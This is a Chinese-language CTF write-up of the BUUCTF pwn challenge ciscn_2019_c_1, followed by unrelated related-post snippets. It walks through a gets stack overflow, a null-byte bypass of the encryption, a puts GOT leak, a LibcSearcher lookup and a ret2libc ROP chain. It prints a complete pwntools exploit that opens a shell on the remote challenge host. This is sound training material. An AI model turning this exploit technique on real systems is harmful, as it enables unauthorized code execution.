[BUUCTF]PWN6——ciscn_2019_c_1

题目网址:https://buuoj.cn/challenges#ciscn_2019_c_1

步骤
例行检查,64位,开启了nx保护

nc一下,看看输入点的字符串,三个选项加密、解密、退出

用64位ida打开,先是shift+f12查看一下程序里的字符串

没有发现system函数和字符串“bin/sh”,先根据输入点的字符串查看一下主要函数

就像一开始说的程序的功能就是加密和解密,看伪代码可以知道,只有选1的时候才会调用encrypt()这个应该是加密函数,其余选项没有利用点

看一下encrypt()伪代码

输入点在第10行gets函数没有限制读入的长度,可以造成溢出,这题没有现成的system(’/bin/sh‘)或者cat flag可以让我们直接利用,所以需要我们自己想办法让程序调用这些命令

从11行到33行是我们的加密函数的加密过程部分,它会对我们输入的字符串进行操作,为了保证我们构造的rop不会被破坏,要想办法绕过加密,14行的if判断里有个strlen函数,strlen的作用是得知字符串的长度,但是遇到’\0‘就会停止,所以我们在构造rop的时候可以在字符串前加上’\0‘来绕过加密

这一类题目的基本做法

1.利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使
用的libc的版本。

2.程序里的函数的地址跟它所使用的libc里的函数地址不一样,程序里函数地址=libc里的函数地址+偏移
量,在1中找到了libc的版本,用同一个程序里函数的地址-libc里的函数地址即可得到偏移量

3.得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造rop去执
行system(’/bin/sh‘)这样的命令

利用过程

可以在上面的程序伪代码中看到,程序执行过了puts函数,我们就利用它的plt和got地址来泄露我们的 ibc版本,这里用到了一个延迟绑定技术,具体的可以看我下面给的这个链接,这个老师具体讲了一下这种类型题目的做法,还有延迟绑定技术
https://m.weishi100.com/mweb/single/?id=2567662

1.泄露libc版本

r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8) #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi)
payload+=p64(puts_got) #设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_plt) #调用puts函数,输出的是puts的got表地址
payload+=p64(main) #设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
#让它返回到main函数,这样我们才可以再一次利用输入点构造rop r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline() puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))#接收程序返回的地址
#lijust(8,‘\0’),不满8位的用0补足
libc=LibcSearcher('puts',puts_addr) #利用LibcSearcher模块找到匹配的libc版本

没有安装LibcSearcher模块的可以根据下面的这个链接下载安装
https://blog.csdn.net/neuisf/article/details/103829683

下面粘贴一个在线查找libc版本的网站: https://libc.blukat.me/
我是比较习惯于用LibcSearcher来找libc版本,我们也可以在上面那个网站上利用函数的末3位找到libc版本

[:-1]是python里的切片用法,执行过程如下,上述代码中这样写是为了舍弃接收到的字符串最后的’\x0’

我这一道题是64位的程序,这边涉及到64位程序和32位程序运行时的区别了
32位程序运行执行指令的时候直接去内存地址寻址执行
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序

因此我这题需要借用寄存器来传参

ROPgadget  --binary ciscn_2019_c_1 |grep "pop rdi"

2.算出偏移量,算出system函数和“bin/sh”字符串地址

libc=LibcSearcher('puts',puts_addr)     #找到libc版本
offset=puts_addr-libc.dump('puts') #算出偏移量
binsh=offset+libc.dump('str_bin_sh') #偏移量+libc函数地址=实际函数地址
system=offset+libc.dump('system')

3.构造rop执行system(‘/bin/sh’)

payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

特别注意到题目是部署在Ubuntu18上的,因此调用system需要栈对齐,这里填充ret来对齐

ROPgadget  --binary ciscn_2019_c_1 |grep ret


完整exp:

from pwn import*
from LibcSearcher import* r=remote('node3.buuoj.cn',28214)
elf=ELF('./ciscn_2019_c_1') main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9 puts_plt=elf.plt['puts']
puts_got=elf.got['puts'] r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main) r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline() puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr) libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system') r.sendlineafter('choice!\n','1') payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system) r.sendlineafter('encrypted\n',payload) r.interactive()

运行的时候发现找到了两个匹配的libc版本,自己尝试一下,这边应该选1

[BUUCTF]PWN6——ciscn_2019_c_1的更多相关文章

  1. [BUUCTF]PWN9——ciscn_2019_en_2

    [BUUCTF]PWN9--ciscn_2019_en_2 题目网址:https://buuoj.cn/challenges#ciscn_2019_en_2 步骤: 例行检查,64位,开启了NX保护 ...

  2. buuctf@ciscn_2019_c_1

    from pwn import * context.log_level='debug' #io=remote('node3.buuoj.cn',29121) io=process('./ciscn_2 ...

  3. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

  4. buuctf@ciscn_2019_en_2

    from pwn import * context.log_level='debug' io=process('./ciscn_2019_en_2') libc=ELF('./libc.so') el ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  7. buuctf misc 刷题记录

    1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...

  8. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  9. buuctf misc wp 01

    buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...

随机推荐

  1. [loj2049]网络

    考虑整体二分,假设二分到区间$[l,r]$,即要对若干个询问,判断这些询问的答案与$mid=\lfloor\frac{l+r}{2}\rfloor$的关系 根据题意,答案$\le mid$等价于重要度 ...

  2. [cf1421E]Swedish Heroes

    令$p_{i}$为最终$a_{i}$之前的系数($p_{i}\in \{-1,1\}$),则有$n+\sum_{i=1}^{n}[p_{i}=-1]\equiv 1(mod\ 3)$ 证明:对于两个满 ...

  3. Windows系统及硬件信息读取

    Windows桌面端开发常常会需要读取系统信息或硬件信息作为用户标识,比如用于确认该设配是否已经激活程序.也可以使用随机生成的UUID来作为唯一标识,但是如果重装系统或重装软件都有可能导致标识丢失,因 ...

  4. I.MX启动方式和头部

    1. 启动方式 2. 头部信息 编译好的bin文件烧写到SD卡中,需要加一些头部文件,才可以执行. Image vector table,简称 IVT,IVT 里面包含了一系列的地址信息,这些地址信息 ...

  5. 记一次 .NET 某智能服装智造系统 内存泄漏分析

    一:背景 1. 讲故事 上个月有位朋友找到我,说他的程序出现了内存泄漏,不知道如何进一步分析,截图如下: 朋友这段话已经说的非常言简意赅了,那就上 windbg 说话吧. 二:Windbg 分析 1. ...

  6. Codeforces Round #691 (Div. 2) 题解

    A 不多说了吧,直接扫一遍求出 \(r_i>b_i\) 的个数和 \(r_i<b_i\) 的个数 B 稍微打个表找个规律就可以发现,当 \(n\) 为奇数的时候,答案为 \(\dfrac{ ...

  7. ACAM 题乱做

    之前做了不少 ACAM,不过没怎么整理起来,还是有点可惜的. 打 * 的是推荐一做的题目. I. *CF1437G Death DBMS 见 我的题解. II. *CF1202E You Are Gi ...

  8. 记一次VS2010和VS2015自定义颜色的过程

    首先,是遇到的问题: 一天,使用VS2010看新项目代码时候,发现选中某个变量后,其它位置高亮显示的变量颜色太淡,不利于阅读代码,如下图.所以想修改这个颜色. 后来网上找了一遍,可以这样设置:工具-- ...

  9. PCA方差解释比例求解与绘图?

    目录 主成分方差解释率计算 绘图示例 主成分方差解释率计算 通常,求得了PCA降维后的特征值,我们就可以绘图,但各个维度的方差解释率没有得到,就无法获得PC坐标的百分比. 有些工具的结果是提供了维度标 ...

  10. Requests的安装和使用

    一.Requests的安装1.pip3 install requests2.验证 import requests 不报错即可